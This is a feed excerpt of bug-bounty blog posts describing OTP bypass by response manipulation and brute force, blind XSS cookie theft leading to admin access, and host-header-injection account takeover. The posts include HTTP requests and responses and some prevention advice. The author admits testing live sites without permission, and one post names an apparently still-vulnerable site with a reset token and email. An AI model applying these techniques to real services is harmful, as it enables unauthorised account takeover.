character.</p><p>A lone &#39; turned into an entry point for one of the most dangerous and well-known vulnerabilities in web security. It’s wild that SQL Injection—something we’ve known about for over two decades—still pops up in modern APIs.</p><p>For developers: please don’t trust user input. Ever.</p><p>For fellow hunters: if something looks boring, test it anyway. Sometimes the smallest parameters lead to the biggest finds.</p><p>For everyone else: next time you see a URL with a question mark, just know… someone like me is probably poking at it right now.</p><h3>The End… For Now</h3><p>That’s it. That’s how I found a critical bug, helped secure a platform, and earned a bounty — all thanks to one suspicious parameter and a tiny &#39;.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=cbacc35a2f19" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[OTP Bypass Methods | Bug Bounty]]></title>
            <link>https://medium.com/@arrheniuspaelongan09/otp-bypass-methods-bug-bounty-4a988573c12a?source=rss-186fe3961f92------2</link>
            <guid isPermaLink="false">https://medium.com/p/4a988573c12a</guid>
            <category><![CDATA[programming]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[technology]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Arrhenius Paelongan]]></dc:creator>
            <pubDate>Thu, 03 Oct 2024 07:34:03 GMT</pubDate>
            <atom:updated>2026-07-07T19:45:24.148Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oqqV2zsDQxY4lmjTjKcuUQ.png" /></figure><p><strong>Hi Friends,</strong></p><p>Welcome back to another one of my bug bounty PoC articles. In this article, I want to share how to perform an OTP bypass. I’ll be sharing my experience of bypassing OTP on a website using response bypass and brute force attacks.</p><p>Let’s begin… but first, let’s learn some basic terms:</p><h3><strong>What is OTP Bypass?</strong></h3><p><strong>OTP Bypass</strong> refers to exploiting weaknesses in the One-Time Password (OTP) verification process, allowing an attacker to bypass this security mechanism. OTPs are typically used as an extra layer of security (two-factor authentication) where users receive a unique code via SMS, email, or an app, which must be entered to verify their identity.</p><p>There are various methods for bypassing OTP systems. Let’s look at two common methods: <strong>response manipulation</strong> and <strong>brute force attack</strong>.</p><h4>1. Response Manipulation</h4><p>This method involves tampering with the OTP verification process by manipulating the responses exchanged between the client (user’s browser or app) and the server.</p><p><strong>How it works</strong>:</p><ul><li>When a user enters their OTP, the application sends a request to the server for verification. An attacker can intercept this request using tools like Burp Suite or Postman.</li><li>In some cases, the server’s response is poorly secured, allowing the attacker to modify the request or response to make it seem like the OTP was valid, even if it wasn’t.</li></ul><p><strong>Example</strong>:</p><ul><li>Let’s say the server sends a response like {&quot;status&quot;: &quot;fail&quot;} if the OTP is incorrect, and {&quot;status&quot;: &quot;success&quot;} if it’s correct.</li><li>An attacker could modify the request to force a successful response by changing the status in the response to &quot;success&quot;, thus bypassing OTP verification without even knowing the correct code.</li></ul><h4>2. Brute Force Attack</h4><p>In this method, the attacker tries to guess the OTP by attempting multiple combinations until the correct one is found.</p><p><strong>How it works</strong>:</p><ul><li>OTPs are usually short (4 to 6 digits), so there are a limited number of possible combinations (e.g., a 6-digit OTP has 1,000,000 possible combinations).</li><li>The attacker uses an automated script or tool to submit various OTP combinations in quick succession until they find the correct one.</li></ul><p><strong>Example</strong>:</p><ul><li>An attacker could write a script that iterates through every possible OTP value (000000 to 999999) and submits them to the server until the correct one is accepted.</li></ul><h3><strong>Main Story</strong></h3><p>I discovered this vulnerability while scrolling through Instagram, where an ad for the website popped up. The site was offering training for university entrance exams. So, I immediately decided to visit the website using Burp Suite.</p><p>When visiting the website, on the first page, you’re asked to log in, and if you don’t have an account, you can register first. So, I registered as usual and logged in with the account I created.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Nk6O57cavpLnqywr68mjRw.png" /><figcaption>Account Registration Page</figcaption></figure><p>As usual, whenever I perform penetration testing on an application, I always start with the login section. One feature that always grabs my attention is the “forgot password” feature. This is where you can typically test for vulnerabilities like no rate limiting, password reset token leaks in HTTP responses, host header injection, OTP bypass, and others. In my current case, I noticed that when a user requests a password reset, an OTP is sent to the user for verification before they can change their password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7niay3g_1-XTdvooeiKj3A.png" /><figcaption>Login Page</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TzD78gqGPFfhC-qEqwKmSA.png" /><figcaption>Reset Password Page</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/413/0*MzwJ6QffxuTelUbI" /><figcaption>OTP Message</figcaption></figure><p>After that, you’ll be directed to a page to input the OTP code that has been sent.</p><p><strong>Method 1 — Response Manipulation :</strong></p><p>This time, let’s assume we don’t know the valid OTP. I’ll enter an invalid OTP, such as 1111, then submit it and intercept the request using Burp Suite. After that, I intercept the response before forwarding the request.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/562/1*8ihUiMp4yCuztDlm57OjCg.png" /></figure><p><strong>Request :</strong></p><pre>PUT /api/user/change-password-bytoken HTTP/1.1<br>Host: ws.redacted.com<br>User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0<br>Accept: application/json, text/plain, */*<br>Accept-Language: en-US,en;q=0.5<br>Accept-Encoding: gzip, deflate<br>Content-Type: application/json<br>Authorization: Bearer<br>Content-Length: 96<br>Origin: https://app.redacted.com<br>Referer: https://app.redacted.com/<br>Sec-Fetch-Dest: empty<br>Sec-Fetch-Mode: cors<br>Sec-Fetch-Site: same-site<br>Te: trailers<br>Connection: close<br><br>{&quot;memberCode&quot;:&quot;redacted&quot;,&quot;token&quot;:&quot;111111&quot;,&quot;passwordBaru&quot;:&quot;Qwerty%$#@!&quot;,&quot;passwordBaru2&quot;:&quot;Qwerty%$#@!&quot;}</pre><p><strong>Response :</strong></p><pre>HTTP/1.1 200 OK<br>Content-Length: 92<br>Content-Type: application/json; charset=utf-8<br>Server: Microsoft-IIS/8.5<br>Access-Control-Allow-Origin: *<br>Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept, Authorization, Path, Cache-Control<br>Access-Control-Allow-Methods: POST, GET, OPTIONS, PUT, DELETE<br>Date: Wed, 09 Aug 2023 06:24:02 GMT<br>Connection: close<br><br>{&quot;statusCode&quot;:500,&quot;message&quot;:&quot;Kode tidak ditemukan&quot;,&quot;innerMessage&quot;:&quot;Kode tidak ditemukan - &quot;}</pre><p>Change the parameter from &quot;statusCode: 500&quot; to &quot;statusCode: 200&quot; and the message to &quot;Success&quot;, then forward it.</p><p><strong>Manipulated Response :</strong></p><pre>HTTP/1.1 200 OK<br>Content-Length: 92<br>Content-Type: application/json; charset=utf-8<br>Server: Microsoft-IIS/8.5<br>Access-Control-Allow-Origin: *<br>Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept, Authorization, Path, Cache-Control<br>Access-Control-Allow-Methods: POST, GET, OPTIONS, PUT, DELETE<br>Date: Wed, 09 Aug 2023 06:24:02 GMT<br>Connection: close<br><br>{&quot;statusCode&quot;:200,&quot;message&quot;:&quot;Success&quot;}</pre><p>The password has been successfully changed. Now, try logging in with the new password to validate.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/667/1*qFD74lirCYHZwshpEhel3g.png" /><figcaption>Try to login again with new password</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/668/1*qtC55kCffopxPo-CHS7DRw.png" /><figcaption>Success to login</figcaption></figure><p>Method 2 — Brute Force Attack (No Rate Limiting)</p><p>Additionally, since there is no rate limiting for OTP submission attempts, an attacker can take advantage of this to perform a brute force attack on the OTP.</p><p>From the OTP input request, forward it to Burp Suite’s Intruder to carry out a brute force attack. As shown in the image below, there were 355 attempts before finding a valid OTP :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/585/1*ElBNAnBGmqx2IjRo1bh4Sg.png" /><figcaption>Bruteforce attack using intruder</figcaption></figure><p><strong>Key Takeaway:</strong></p><p>Both methods highlight the importance of securing OTP mechanisms by:</p><ul><li>Implementing rate-limiting and account lockout after failed attempts.</li><li>Ensuring that OTP verification responses are handled securely, with proper server-side validation.</li></ul><p>That’s all for this article. From now on, I might start writing more articles related to bug bounty and penetration testing. Thank you for your support! ADIOS!</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fgiphy.com%2Fembed%2Fye7u5HHQadRAp0O9El%2Ftwitter%2Fiframe&amp;display_name=Giphy&amp;url=https%3A%2F%2Fmedia.giphy.com%2Fmedia%2Fye7u5HHQadRAp0O9El%2Fgiphy.gif%3Fcid%3D790b76117i23vnx3g1ps7re18oy5v6v7lamsrj80va7g70nw%26ep%3Dv1_gifs_search%26rid%3Dgiphy.gif%26ct%3Dg&amp;image=https%3A%2F%2Fmedia2.giphy.com%2Fmedia%2Fv1.Y2lkPTc5MGI3NjExd2oyZTE4am9rMmY0OXozeWRlZ28zY3Jmd2NyMTk3bWE2ZjJic2NmMCZlcD12MV9pbnRlcm5hbF9naWZfYnlfaWQmY3Q9Zw%2Fye7u5HHQadRAp0O9El%2Fgiphy.gif&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=giphy" width="435" height="183" frameborder="0" scrolling="no"><a href="https://medium.com/media/188495385d5545a466f175d4fd063498/href">https://medium.com/media/188495385d5545a466f175d4fd063498/href</a></iframe><p>For collaboration or any other queries, please contact me at :</p><p>LinkedIn : <a href="https://www.linkedin.com/in/arrhenius-paelongan/">https://www.linkedin.com/in/arrhenius-paelongan/</a></p><p>Instagram : <a href="https://www.instagram.com/nius_pae/">https://www.instagram.com/nius_pae/</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4a988573c12a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Exploiting Blind XSS to Access Admin Dashboard for Bounty Rewards]]></title>
            <link>https://medium.com/@arrheniuspaelongan09/exploiting-blind-xss-to-access-admin-dashboard-for-bounty-rewards-fcdd54ddea7c?source=rss-186fe3961f92------2</link>
            <guid isPermaLink="false">https://medium.com/p/fcdd54ddea7c</guid>
            <category><![CDATA[technology]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[hacker]]></category>
            <dc:creator><![CDATA[Arrhenius Paelongan]]></dc:creator>
            <pubDate>Wed, 02 Oct 2024 13:35:10 GMT</pubDate>
            <atom:updated>2026-07-07T19:44:35.839Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Hello Friends,</strong></p><p>It’s been a while since I last wrote an article about my bug bounty proof of concept. Today, I’d like to share my experience of earning a bounty after discovering a Blind XSS vulnerability in a local online transportation app in my city.</p><p>Let’s begin… but first, let’s learn some basic terms:</p><h3>What is Blind XSS ?</h3><p><strong>Blind XSS (Cross-Site Scripting)</strong> is a type of <strong>Cross-Site Scripting attack</strong> where the attacker injects malicious scripts into a vulnerable web application, but unlike traditional XSS, the payload doesn’t immediately execute in the attacker’s browser. Instead, it triggers when a different user (often an admin or backend system) views or interacts with the injected data.</p><p>Key characteristics of Blind XSS:</p><ol><li><strong>Delayed Execution</strong>: The attacker doesn’t see the result of the attack right away. It happens when someone else (e.g., an admin) processes the data containing the malicious script.</li><li><strong>Difficult to Detect</strong>: Since it relies on user interaction in different contexts (like backend panels or logs), Blind XSS can be harder to detect during initial testing.</li><li><strong>High Impact</strong>: When triggered in privileged contexts (e.g., admin dashboards), Blind XSS can lead to the compromise of sensitive accounts or access to critical data.</li></ol><p>To exploit Blind XSS, an attacker may place a payload in fields such as feedback forms, chat messages, or any input processed by admins or backend systems later on. When the admin accesses the data, the script executes, potentially giving the attacker access to admin sessions, sensitive information, or the ability to perform privileged actions.</p><p>From the explanation above, Blind XSS is a more difficult type of XSS to detect because it’s not immediately visible whether an application is vulnerable or not. That’s why I used a tool called XSSreport in this case.</p><p><a href="https://xss.report/">Welcome to XSS.Report</a></p><p>One day, I heard about an online transportation app based in my city, which is quite small. Without hesitation, I immediately visited the app’s website to see if there was anything interesting I could explore using my penetration testing skills.</p><p>Within minutes, a driver partnership application form on the online transportation app caught my attention. I wondered if injecting an XSS payload would work. So, I immediately tested it using a Blind XSS payload from XSSReport.</p><p>So, I filled out the entire form with a Blind XSS payload and submitted it :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VUskUDNetHlwPKcWUv8gVA.png" /></figure><p>After that, it was time to wait. If the website was vulnerable to XSS, a notification and detailed report would be sent to XSSReport.</p><p>On the first day, nothing happened, but five days later, I received a notification in my XSSReport. It turned out that the application website was vulnerable to Blind XSS, and the report looked like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pdgrofUxE_Uf1hO1U8R85w.png" /></figure><p>After that, I tried to access the vulnerable URL, <a href="https://admin.redacted.id/">https://admin.redacted.id</a>, and it turned out to be publicly accessible, which was the admin login page. This is where the game began!</p><p>You’re probably wondering how I logged into this admin login page. If you recall from the earlier XSS report, there was a cookie, so I assumed it belonged to the admin. I managed to replace my cookie with the admin’s cookie:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*u0ZiS2mBJH2NCidHj-w6uQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SbCWqx2SZcGA_tESynnurQ.png" /></figure><p>And BOOM! We successfully logged in as the admin.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fgiphy.com%2Fembed%2FlaUY2MuoktHPy%2Ftwitter%2Fiframe&amp;display_name=Giphy&amp;url=https%3A%2F%2Fmedia.giphy.com%2Fmedia%2Fv1.Y2lkPTc5MGI3NjExMHIxc3cyN3RhMG9hZmV2d3hzNm45cG9vNzBrMTZ1dDRkbW96dmU3MyZlcD12MV9naWZzX3NlYXJjaCZjdD1n%2FlaUY2MuoktHPy%2Fgiphy.gif&amp;image=https%3A%2F%2Fmedia0.giphy.com%2Fmedia%2Fv1.Y2lkPTc5MGI3NjExa2xudTFrd3dnZHcwY2o1eWJpdWlrdjg4anN0ODg3ODJ3ODBvZnkwaiZlcD12MV9pbnRlcm5hbF9naWZfYnlfaWQmY3Q9Zw%2FlaUY2MuoktHPy%2Fgiphy.gif&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=giphy" width="435" height="244" frameborder="0" scrolling="no"><a href="https://medium.com/media/325c41710c3aafb4fe791d87a9de3f31/href">https://medium.com/media/325c41710c3aafb4fe791d87a9de3f31/href</a></iframe><p>Since I didn’t want to cause any damage to the application or violate the rules of hacking without permission (even though I technically already did, haha), I immediately contacted the admin of the app. After three days without a response from them, they probably thought I was just talking nonsense. :)</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fgiphy.com%2Fembed%2FIdg2rAVGS3xMZtBdhu%2Ftwitter%2Fiframe&amp;display_name=Giphy&amp;url=https%3A%2F%2Fmedia.giphy.com%2Fmedia%2Fv1.Y2lkPTc5MGI3NjExM3cwem4xdjFub2Fjem02cDB5cG1xYTVxOHE4M3BpbDQydmV0MGgxeiZlcD12MV9naWZzX3NlYXJjaCZjdD1n%2FIdg2rAVGS3xMZtBdhu%2Fgiphy.gif&amp;image=https%3A%2F%2Fmedia4.giphy.com%2Fmedia%2Fv1.Y2lkPTc5MGI3NjExeDduNDIyeDRlcGcyOHRqbWpjbzgwbGQ1bzQ0d2FrbDU4d3RzMTg5cyZlcD12MV9pbnRlcm5hbF9naWZfYnlfaWQmY3Q9Zw%2FIdg2rAVGS3xMZtBdhu%2Fgiphy.gif&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=giphy" width="435" height="283" frameborder="0" scrolling="no"><a href="https://medium.com/media/a2f2be4ab917d426a788561550337802/href">https://medium.com/media/a2f2be4ab917d426a788561550337802/href</a></iframe><p>After that, I immediately provided a screenshot as proof that I had successfully accessed the admin dashboard. And guess what? Just a few minutes later, the owner of the app contacted me — JACKPOT! The owner asked me for details on how I discovered the vulnerability. I then provided a detailed report to the owner.</p><p>And after discussing the vulnerability, the owner kindly offered me a bounty. YEAYY, GAME WIN!</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fgiphy.com%2Fembed%2FvcXoSxqSfPESS5AzF4%2Ftwitter%2Fiframe&amp;display_name=Giphy&amp;url=https%3A%2F%2Fmedia.giphy.com%2Fmedia%2Fv1.Y2lkPTc5MGI3NjExOHp0Nm16dTRza2t3MzYybXZod3oxb2trYW1ubDVuemZhaW4zN3J0eCZlcD12MV9naWZzX3NlYXJjaCZjdD1n%2FvcXoSxqSfPESS5AzF4%2Fgiphy.gif&amp;image=https%3A%2F%2Fmedia3.giphy.com%2Fmedia%2Fv1.Y2lkPTc5MGI3NjExNnQ3cHd3a2dqamFxdGc2N3hrbTV5MmN4ZXNmenpiaDQ3azVqeWtsOSZlcD12MV9pbnRlcm5hbF9naWZfYnlfaWQmY3Q9Zw%2FvcXoSxqSfPESS5AzF4%2Fgiphy.gif&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=giphy" width="435" height="239" frameborder="0" scrolling="no"><a href="https://medium.com/media/1f2a38ccf10860c3419e44aaec944778/href">https://medium.com/media/1f2a38ccf10860c3419e44aaec944778/href</a></iframe><p>That’s all for this article. From now on, I might start writing more articles related to bug bounty and penetration testing. Thank you for your support! ADIOS!</p><p>For collaboration or any other queries, please contact me at :</p><p>LinkedIn : <a href="https://www.linkedin.com/in/arrhenius-paelongan/">https://www.linkedin.com/in/arrhenius-paelongan/</a></p><p>Instagram : <a href="https://www.instagram.com/nius_pae/">https://www.instagram.com/nius_pae/</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=fcdd54ddea7c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Critical Vulnerability When Applying For a Job | OTP Bypass via Response Manipulation]]></title>
            <link>https://medium.com/@arrheniuspaelongan09/critical-vulnerability-when-applying-for-a-job-otp-bypass-via-response-manipulation-69b7182a8606?source=rss-186fe3961f92------2</link>
            <guid isPermaLink="false">https://medium.com/p/69b7182a8606</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[hacker]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[vulnerability-assessment]]></category>
            <dc:creator><![CDATA[Arrhenius Paelongan]]></dc:creator>
            <pubDate>Tue, 28 Mar 2023 16:00:36 GMT</pubDate>
            <atom:updated>2024-10-02T13:56:26.477Z</atom:updated>
            <content:encoded><![CDATA[<p>Hey folks!</p><p>Qchad here again. In this blog post, I would like to share a story about how I found a critical vulnerability when applying for a job a few weeks ago.</p><p><strong>Lets go to the main story….</strong></p><p>One day, I applied for a job at a company. After submitting my application, a few days later, a recruiter from the company contacted me to invite me to an interview. Long story short, the interview was completed, and I was waiting for the next update to see if I could move on to the next stage.</p><p>While waiting for the update, I visited the company’s website to gather information about them. I stumbled upon a website that was one of the company’s products, and I decided to sign up for it. After completing the registration, I logged in as usual.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*c-w9DeltMa16JAWF2SlVkw.png" /></figure><p>I proceeded to test the password reset function as usual. When I went to the password reset page, I was asked to enter the registered phone number and an OTP code would be sent. At that moment, I started to wonder if I could bypass the OTP code.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fgiphy.com%2Fembed%2FMZQkUm97KTI1gI8sUj%2Ftwitter%2Fiframe&amp;display_name=Giphy&amp;url=https%3A%2F%2Fmedia.giphy.com%2Fmedia%2FMZQkUm97KTI1gI8sUj%2Fgiphy.gif&amp;image=https%3A%2F%2Fi.giphy.com%2Fmedia%2FMZQkUm97KTI1gI8sUj%2Fgiphy.gif&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=giphy" width="435" height="435" frameborder="0" scrolling="no"><a href="https://medium.com/media/e397281981231b6af464d851349b7193/href">https://medium.com/media/e397281981231b6af464d851349b7193/href</a></iframe><p>After that, I entered my phone number and the OTP code was successfully sent to my phone via text message.</p><p>This is the correct OTP code :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ML9Emp7LFCR3tL1qrixnDg.jpeg" /></figure><p>But, I want to bypass that OTP, so I entered an incorrect OTP</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XipUhXtM94YZHlMmTk040A.png" /></figure><p>After that, intercept the request using Burp Suite</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/990/1*rPVugtb_-2rdkx7ZWS3gYw.png" /></figure><p>Then, intercept the response</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/990/1*XEolnu8QjAKaiYOC0icAuA.png" /></figure><p>Here we can see that the response is a 400 Bad Request</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/993/1*UplD9ru05tnJ4Qf3Rjo2jA.png" /></figure><p>And now, we have arrived at the best part. It’s very simple, yet very fatal. We just need to replace the 400 Bad Request response with 200 OK</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/986/1*QqUM2obcpSiXXazFZtcDpw.png" /></figure><p>Forward and BOOM!, we successfully directed to the change password page. Enter the new password and we can change it without entering the correct OTP :)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QblbdTF9HxAVC2lB1yQSSQ.png" /></figure><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fgiphy.com%2Fembed%2FlYv10cDlosFnA0toPb%2Fvideo&amp;display_name=GIPHY&amp;url=https%3A%2F%2Fgiphy.com%2Fclips%2Fstudiosoriginals-happy-excited-victory-lYv10cDlosFnA0toPb&amp;image=https%3A%2F%2Fmedia1.giphy.com%2Fmedia%2FlYv10cDlosFnA0toPb%2Fgiphy.gif&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=giphy" width="480" height="360" frameborder="0" scrolling="no"><a href="https://medium.com/media/8417039b6401fa067187bb8c9477ad42/href">https://medium.com/media/8417039b6401fa067187bb8c9477ad42/href</a></iframe><p><strong><em>How to prevent..</em></strong></p><ol><li>Implementing strict security policies on the server-side to ensure that response manipulation is not possible. This can be done by ensuring that the server only responds to valid requests and avoiding the use of leaky responses to the client-side.</li><li>Validating input parameters on the server-side, such as ensuring that the phone number entered is valid and belongs to the user who is attempting to reset their password.</li><li>Implementing two-factor authentication (2FA) or multi-factor authentication (MFA) to provide an additional layer of security to the authentication process. This can help prevent unauthorized access even if the OTP bypass vulnerability is exploited.</li><li>Regularly testing the application for vulnerabilities and addressing any discovered vulnerabilities promptly to maintain the security of the application.</li></ol><p>So, thanks a lot for reading it till the end. I hope you will find this article interesting. Cya!</p><p>Happy hunting all! :)</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fgiphy.com%2Fembed%2F3kAn3wmpeXcKV7ckJ8%2Ftwitter%2Fiframe&amp;display_name=Giphy&amp;url=https%3A%2F%2Fmedia.giphy.com%2Fmedia%2F3kAn3wmpeXcKV7ckJ8%2Fgiphy.gif&amp;image=https%3A%2F%2Fi.giphy.com%2Fmedia%2F3kAn3wmpeXcKV7ckJ8%2Fgiphy.gif&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=giphy" width="435" height="435" frameborder="0" scrolling="no"><a href="https://medium.com/media/87fd116f3cc40caadd1c3a30134511ca/href">https://medium.com/media/87fd116f3cc40caadd1c3a30134511ca/href</a></iframe><p>You can follow my instagram : @nius_pae</p><p>Or connect with me on linkedin : <a href="https://www.linkedin.com/in/arrhenius-paelongan/">https://www.linkedin.com/in/arrhenius-paelongan/</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=69b7182a8606" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How I Was Able to Takeover Any User’s Account with Host Header Injection Attack]]></title>
            <link>https://medium.com/@arrheniuspaelongan09/how-i-was-able-to-takeover-any-users-account-with-host-header-injection-attack-b69dac9fabe7?source=rss-186fe3961f92------2</link>
            <guid isPermaLink="false">https://medium.com/p/b69dac9fabe7</guid>
            <category><![CDATA[bug-hunting]]></category>
            <category><![CDATA[host-header-injection]]></category>
            <category><![CDATA[account-takeover]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[Arrhenius Paelongan]]></dc:creator>
            <pubDate>Thu, 16 Mar 2023 21:57:35 GMT</pubDate>
            <atom:updated>2023-03-19T19:09:45.425Z</atom:updated>
            <content:encoded><![CDATA[<p>Hey folks!</p><p>Qchad here again. In this blog post, I want to share how I was able to take over a user’s account using host header injection. I found this bug a long time ago, in the middle of 2022.</p><p><strong><em>So, what is host header injection?</em></strong></p><p>The HTTP host header injection is an attack in which a malevolent actor tampers with the host header in a client request. This misleads the virtual host or intermediary system to serve poisoned content to the client in the response.</p><p><strong><em>Are Host header attacks dangerous?</em></strong></p><p>Host header injections can potentially be dangerous as they may lead to a poisoned web cache or poisoned password reset functionality. Luckily, they are easily prevented with the proper server configuration. I’ll tell you at the end of this story :D</p><p><strong>Lets go to the main story….</strong></p><p>I visited a website that provides online classes for learning how to play video games. If you are a gamer or a Dota 2 player, you may know this website. When visiting the website, we are directed to create an account first. I then created an account and logged in. I then decided to test whether the website had a security vulnerability out of curiosity.</p><p>First, I tried to play on the login page and tried things like rate-limiting, SQL injection, and cross-site scripting but did not find any results. I did not give up, then I tried on the forgot password function. I then entered an email that had been registered before.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/620/1*0ePvHLU9HpJOQe_9-bCahQ.png" /></figure><p>Then I intercepted the sent request using Burp Suite.</p><p>The request will look like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/986/1*OIg_LGNTWUJ3O8snY8IRmw.png" /></figure><p>Add the X-Forwarded-Host parameter and your own server. Here I use the collaborator burp. And the final request will look like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/993/1*ibIUAFRmF9aYZ_9dVwvxTw.png" /></figure><p>And then forward the request. The change password will be sent to the email:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ysTLfmtTAOPT9niwCRkuvw.png" /></figure><p>Open or click the link and check the Burp collaborator client. Here you can see that we received the token for the password change:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/787/1*Xx0RfJHkYVvJhmQQbzEryQ.png" /></figure><p>Now after we have the token, we can go to the password reset page with a link like this:</p><p><a href="https://api.gamerzclass.com/api/password/reset/3e1e4bebd221c6137e021f7efe00f6b004726bab4e8651bbbb3ecb5ba788d432?email=qchad0909%40gmail.com">https://redacted.com/api/password/reset/<strong>token that we have before</strong>?email=qchad0909%40gmail.com</a></p><p>And now, we will be directed to the password reset page:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/779/1*z8Zj0XcBBPHrMhCZ3BUzuw.png" /></figure><p>Now we can change the password with our new password. And BOOM! It’s an Account Takeover!</p><p>After I found this bug, I immediately tried to contact the owner of the website, but until today there has been no response, and the bug is still not fixed and can still be exploited. But it’s okay, at least we learn something, right? Haha</p><p><strong><em>How to prevent..</em></strong></p><ol><li><strong>Validate and sanitize input </strong>: Ensure that the host header in the HTTP request is validated and sanitized before it is processed by the server. This can prevent malicious input from being executed.</li><li><strong>Configure your web server</strong> : Configure your web server to only recognize the intended host name and to ignore any additional host headers. This can help mitigate this type of attack.</li><li><strong>Implement secure coding practices </strong>: Use secure coding practices to prevent injection attacks, such as input validation, output encoding, and using parameterized queries.</li><li><strong>Implement network security measures </strong>: Implement network security measures, such as firewalls, to help prevent attackers from gaining access to your server.</li><li><strong>Stay up-to-date with security patches </strong>: Keep your web server and applications up-to-date with the latest security patches to ensure that any known vulnerabilities are addressed.</li></ol><p>So, thanks a lot for reading it till the end. I hope you will find this article interesting. Cya!</p><p>Happy hunting all! :)</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fgiphy.com%2Fembed%2FmEVp5XwqIzWg05rS1q%2Ftwitter%2Fiframe&amp;display_name=Giphy&amp;url=https%3A%2F%2Fmedia.giphy.com%2Fmedia%2FmEVp5XwqIzWg05rS1q%2Fgiphy.gif&amp;image=https%3A%2F%2Fi.giphy.com%2Fmedia%2FmEVp5XwqIzWg05rS1q%2Fgiphy-downsized-large.gif&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=giphy" width="435" height="435" frameborder="0" scrolling="no"><a href="https://medium.com/media/34da4d162cf6744389f78dd6ba086e86/href">https://medium.com/media/34da4d162cf6744389f78dd6ba086e86/href</a></iframe><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b69dac9fabe7" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[My First Bug Bounty Reward : $100 in 5 min]]></title>
            <link>https://medium.com/@arrheniuspaelongan09/my-first-bug-bounty-reward-100-in-5-min-1117d727dc2b?source=rss-186fe3961f92------2</link>
            <guid isPermaLink="false">https://medium.com/p/1117d727dc2b</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[Arrhenius Paelongan]]></dc:creator>
